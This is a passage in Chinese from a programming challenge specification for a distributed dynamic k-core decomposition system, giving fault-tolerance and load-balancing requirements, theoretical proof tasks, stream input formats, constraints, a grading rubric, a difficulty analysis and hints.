    任务 3:分布式容错与负载均衡(工程挑战)
    整个系统需部署在100 台分布式服务器上(每台内存 64GB,CPU 32 核,带宽 10Gbps),要求:
    容错性:单台服务器宕机时,系统需在 10 秒内自动恢复服务,且未完成的边更新 / 查询任务不丢失;
    负载均衡:任意两台服务器的 CPU 利用率差异不超过 10%,内存占用差异不超过 15%(需设计节点 / 边的分片策略);
    低延迟:核数查询的平均响应时间≤50ms,Top-K 查询的平均响应时间≤100ms。
    任务 4:理论分析与边界验证(深度拓展)
    证明任务 1 中设计的增量更新算法的时间复杂度上界;
    针对 “边删除” 操作(k - 核分解中最困难的动态场景,可能导致大量节点核数下降),设计一种剪枝策略,减少需要重新计算的节点范围,并证明该策略的有效性(即剪枝后不遗漏核数变化的节点);
    给出在 “最坏情况动态图”(如每次更新都触发最大范围核数变化)下,系统的性能衰减边界(即最大响应时间随更新次数的增长趋势)。
    输入输出规范
    输入格式(分布式环境下的流输入)
    初始图 G₀:通过分布式文件系统(如 HDFS)输入,格式为每行一条边u v(u, v 为 64 位整数节点 ID);
    动态操作流:通过消息队列(如 Kafka)输入,每条消息格式为:
    边添加:ADD u v
    边删除:DEL u v
    核数查询:QUERY_CORE u
    Top-K 查询:QUERY_TOPK K
    输出格式
    对于QUERY_CORE u:返回一行u c(c 为当前核数);
    对于QUERY_TOPK K:返回 K 行,每行u I(u)(按 I (u) 降序排列,若 I (u) 相同则按 u 升序);
    系统日志:需实时输出每台服务器的负载指标(CPU、内存、网络 IO)及操作响应时间。
    约束条件
    节点 ID 为 64 位无符号整数,不保证连续(需处理稀疏 ID 空间);
    动态操作流的峰值速率为10000 条 / 秒(其中更新操作占 80%,查询占 20%);
    初始图 G₀的边数可能超过单台服务器内存(需分布式加载);
    不允许使用任何现成的图计算框架(如 Spark GraphX、Neo4j),需从零实现核心算法与分布式通信逻辑。
    评分标准(总分 100 分)
    算法正确性(30 分):
    增量 k - 核分解结果与全量重算结果完全一致(20 分);
    关键节点识别的准确率≥95%(10 分)。
    性能指标(35 分):
    动态更新时间复杂度达标(10 分);
    查询响应时间达标(10 分);
    分布式负载均衡达标(10 分);
    容错恢复时间达标(5 分)。
    理论分析(20 分):
    时间复杂度证明正确(8 分);
    剪枝策略有效性证明正确(7 分);
    性能衰减边界分析合理(5 分)。
    工程鲁棒性(15 分):
    处理异常输入(如重复边、不存在的节点 / 边操作)(5 分);
    内存泄漏检测(5 分);
    分布式通信的可靠性(如重试、幂等性处理)(5 分)。
    难度解析
    理论深度:动态 k - 核分解是图算法领域的开放难题,尤其是 “边删除” 场景下的增量更新,目前学术界尚无线性时间复杂度的最优算法,需结合 “核数单调性”(边删除不会增加节点核数)设计创新剪枝;
    工程挑战:10 亿级节点的分布式存储需解决 “分片倾斜” 问题(如少数节点度数极高的 “超级节点” 处理),且 10000 条 / 秒的峰值流需优化通信开销(避免分布式同步瓶颈);
    权衡设计:需在 “准确率” 与 “性能”、“内存” 与 “计算” 之间做精细化权衡(如对超级节点采用近似计算,对普通节点采用精确计算);
    验证难度:需构建超大规模动态图测试集(如模拟社交网络演化),并设计对比基准(如全量重算的分布式实现)来验证结果正确性。
    提示(仅提供方向,不提供具体方案)
    可基于 “核数标签传播” 思想设计增量更新,利用 “核数下降的节点仅可能是被删除边的邻接节点的子集” 这一性质剪枝;
    分布式分片可采用 “节点 ID 哈希 + 度数自适应调整” 策略,将超级节点的边分散到多台服务器;
    关键节点识别可利用 “核数贡献度” 的局部性,仅追踪对最大 k - 核有影响的节点。
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